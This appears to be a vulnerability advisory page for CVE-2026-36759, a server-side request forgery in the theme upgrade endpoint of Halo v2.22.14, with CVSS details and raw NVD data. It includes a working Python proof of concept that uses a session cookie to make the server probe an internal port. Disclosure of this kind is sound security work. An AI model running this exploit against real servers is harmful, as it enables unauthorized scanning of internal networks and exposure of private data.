Security Vulnerability Report
中文
CVE-2026-36759 CVSS 6.5 MEDIUM

CVE-2026-36759

Published: 2026-04-30 16:16:43
Last Modified: 2026-04-30 18:16:29

Description

A Server-Side Request Forgery (SSRF) in the /themes/{name}/upgrade-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Halo v2.22.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_host = "http://127.0.0.1:8090" attacker_session_cookie = "SESSION=YOUR_AUTHENTICATED_SESSION_COOKIE" # Replace with valid cookie # Vulnerable Endpoint # The endpoint accepts a URI to upgrade the theme from. theme_name = "example-theme" # Replace with a valid or existing theme name internal_target = "http://127.0.0.1:22" # Example: Scanning local SSH port url = f"{target_host}/themes/{theme_name}/upgrade-from-uri" headers = { "Cookie": attacker_session_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload: Sending the internal IP as the URI parameter params = { "uri": internal_target } try: print(f"[*] Sending SSRF request to: {url}") print(f"[*] Targeting internal resource: {internal_target}") response = requests.get(url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for indicators of port openness or data leakage.") print(f"[+] Response body: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36759", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:42.513", "lastModified": "2026-04-30T18:16:28.770", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /themes/{name}/upgrade-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf4/readme.md", "source": "[email protected]"}, {"url": "https://github.com/halo-dev/halo", "source": "[email protected]"}, {"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf4/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}